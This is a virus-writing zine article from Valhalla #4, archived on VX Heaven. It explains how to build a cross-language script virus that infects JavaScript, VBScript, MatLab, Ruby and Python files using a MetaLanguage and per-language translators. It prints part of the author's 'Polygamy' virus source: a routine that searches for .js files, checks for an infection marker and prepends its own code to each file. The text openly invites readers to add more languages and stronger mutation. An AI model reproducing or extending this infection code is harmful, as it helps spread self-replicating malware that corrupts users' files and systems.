Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Cross Script Infection using MetaLanguages

SPTH
Valhalla #4
November 2013

[Back to index] [Comments]
  1. Introduction
  2. MetaLanguages and Translators
  3. Implementation of a specific MetaLanguage
  4. Outlook and Conclusion
  5. References

1) Introduction

Cross-infection stands for the technique that allows you to infect more platforms with only one code. Many coderz have worked on this topics, such as MrSandman for MacOS and Windows[1], Benny for Windows and Linux[2], Bumblebee for Win32 and Word[3], roy g biv and hh86 for Win32 and Win64[4,5], JPanic for Windows, Linux and MacOS[6] and many others.

In this text I focus on cross-infectors for pure scripts, which means no binary format should be involved.

If you want to infect more than one target, the first brute-force method that comes into mind is to code two distinct viruses and combine them, such as done for JScript+VBScript or JScript+Batch [7]. For example, if you want to target three languages, you need to code 3^2 infection routines:

               L1 --> L1,    L1 --> L2,    L1   -->   L3
               L2 --> L1,    L2 --> L2,    L2   -->   L3
               L3 --> L1,    L3 --> L2,    L3   -->   L3

This scales of course disadvantageous if you want to infect more targets. A different method is to develope a code that can nativly run on both environments, such as done for JScript+Batch [7], JScript+VBScript [8], and up to four languages (JScript+VBScript+Batch+MatLab) in [9].

                                   --------> L1
                                  /
                  universal code ----------> L2
                                  \
                                   --------> L3

This attempt can lead to small efficient cross-infectors (for example, the four-language infector has less than 1.5kB). However, there is an obvious problem: Every languages has certain key-words, characteristics, types of comments, ... - and they interfere with the other language's characteristics. To go to higher number of infected languages, it seems to be impossible to use the universal-code approach.

A different concept can addresse the difficulty with quadratic scaling and language-characteristics, namely MetaLanguages.

2) MetaLanguage and Translators

MetaLanguages are usually used for metamorphism or advanced infection techniques (see a small review here: [10]). For scripts, I know only of one code that uses explicitly a MetaLanguage - for metamorphism in JavaScript [11].

However, the concept is much more powerful, and can be exploited for cross-infection aswell.

The idea is: We have the whole file-infection described in a MetaLanguage and we translate this MetaLanguage with a language-dependent Translator to the different languages.

                              ______________
             L1  --------->  |              |  --------> L1
                             |              |  
             L2  --------->  | MetaLanguage |  --------> L2
                             |              |
             L3  --------->  |______________|  --------> L3

        Translators                              infection codes

Short again: Translator (written in a specific language XYZ) creates code written in XYZ from the MetaLanguage. This code is executed. The MetaLanguage contains file-infection descriptions, therefor the created and executed code contains file-infection code.

Now the cool thing is: When we want to add another language - lets say XYZ - we only need to write the translator of the MetaLanguage in XYZ, and add one infection-routine in the MetaLanguage (which is executed by every other language). So it takes as long to add the 4th language to the infector as it takes to add the 10th language. And as there is always only one language executed, we dont need to deal with different language characteristics.

3) Implementation

We need to think about what the MetaLanguage needs to do. It needs to perform all the file-search and infection routines - but totally independent of any language. That means we need file-search, file-read, file-write, basic conditional-executions (if), string manipulations (we need to save the non-executed translators of other languages as string, best case is to write them as characters).

Let's look at a part of the MetaLanguage code from my 0th generation code JS/VBS/MatLab/Ruby/Python.Polygamy:

metaLanguage="Predefined";
metaLanguage+="__AddML";
metaLanguage+="__Forall js";
metaLanguage+="__  GetFileName fileName";
metaLanguage+="__  ReadAll allContent fileName";
metaLanguage+="__  Def infectionMarkerJS";
metaLanguage+="__  AddString infectionMarkerJS metaLanguage";
metaLanguage+="__  Exist doesExist allContent infectionMarkerJS";
metaLanguage+="__  If doesExist < 0";
metaLanguage+="__    Def newCodeJS";
metaLanguage+="__    AddString newCodeJS metaLanguage=";
metaLanguage+="__    AddChar newCodeJS 39 39";
metaLanguage+="__    AddString newCodeJS ;translatorJS=";
metaLanguage+="__    AddChar newCodeJS 39 39";
metaLanguage+="__    AddString newCodeJS ;translatorVBS=";
metaLanguage+="__    AddChar newCodeJS 39 39";
metaLanguage+="__    AddString newCodeJS ;translatorMatLab=";
metaLanguage+="__    AddChar newCodeJS 39 39";
metaLanguage+="__    AddString newCodeJS ;translatorRuby=";
metaLanguage+="__    AddChar newCodeJS 39 39";
metaLanguage+="__    AddString newCodeJS ;translatorPython=";
metaLanguage+="__    AddChar newCodeJS 39 39 59";
metaLanguage+="__    AddStringAsChar newCodeJS metaLanguage+=String.fromCharCode( metaLanguage , );";
metaLanguage+="__    AddStringAsChar newCodeJS translatorJS+=String.fromCharCode( translatorJS , );";
metaLanguage+="__    AddStringAsChar newCodeJS translatorVBS+=String.fromCharCode( translatorVBS , );";
metaLanguage+="__    AddStringAsChar newCodeJS translatorMatLab+=String.fromCharCode( translatorMatLab , );";
metaLanguage+="__    AddStringAsChar newCodeJS translatorRuby+=String.fromCharCode( translatorRuby , );";
metaLanguage+="__    AddStringAsChar newCodeJS translatorPython+=String.fromCharCode( translatorPython , );";
metaLanguage+="__    Arithmetic newCodeJS newCodeJS + translatorJS";    
metaLanguage+="__    Arithmetic newCodeJS newCodeJS + allContent";
metaLanguage+="__    Write fileName newCodeJS";
metaLanguage+="__  XX"
metaLanguage+="__XX"
 

This part is searching for .js files, and if they are not yet infected, it infects them. It first adds its own MetaLanguage as character-string (AddML), then adds all other translators as character strings and prepends the JS Translator to the file-content. The MetaLanguage commands are very self-explainatory, and needs no further comments.

The crucial part now is to write a translator in language XYZ that can make valid XYZ-code, which is executed (for instance, using eval() in some languages). If one succeeds, the XYZ language can infect JS files.

As it is indicated in the code, I wrote translators and infection routines for five different languages: JavaScript, VBScript, MatLab, Ruby and Python. That means, my code can infect all of these platforms. One could have continued to add more languages - there was no obvious reason for a limit.

4) Outlook and Conclusion

In this text I showed the idea and implementation of cross-infections for scripts, which leaded to a code that can infect up to five different languages: JavaScript, VBScript, MatLab, Ruby and Python.

I presume that many other languages could be added here, and I hope that somebody will try it - it is very straight-forward to write translators and infection methods, which is a big advantage.

The current implementation of the MetaLanguage is perfectly sufficient for this task, but is not strong enough to perform more complex infection methods (such as EPO, where the victim file-concept has to be examinated) or infections of more complicated targets such as binary PE files, or the implemenation of mutation-methods (which has been done for JavaScript in a separate project[11]). The obvious question is:

How can a MetaLanguage be developed that allows complex file-infection, multi-platform infections, strong mutations - and still be relativly straightforward to apply?

I think this is a very important question, and I hope someone will come up with interesting novel ideas some day! :)

Second Part To Hell
July 2013
http://spth.virii.lu/
[email protected]

References

  1. Mister Sandman, "Esperanto, a multiprocessor and multiplatform virus", in 29a#2, 1998.

  2. Benny, "Win32/Linux.Winux", in 29a#6, 2002.

  3. Bumblebee, DOCWORM, in 29a#6, 2002.

  4. roy g biv, W32/W64.Shrug. in 29a#8, 2005.

  5. hh86, W48.Sofia, in valhalla#1, 2011.

  6. JPanic, CAPZLOQ, in valhalla#4, 2013.

  7. SPTH, "Cross Infection in JavaScript", in rRlf#4, 2003.

  8. roy g biv, "Cross-scripting attacks", in rRlf#6, 2005.

  9. SPTH, "Cross Script Infection using the same code", in valhalla#2, 2012.

  10. SPTH, "Meta-Level Languages in Viruses", in valhalla#3, 2012.

  11. SPTH, "Metamorphism and Self-Compilation in JavaScript", in valhalla#3, 2012.

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua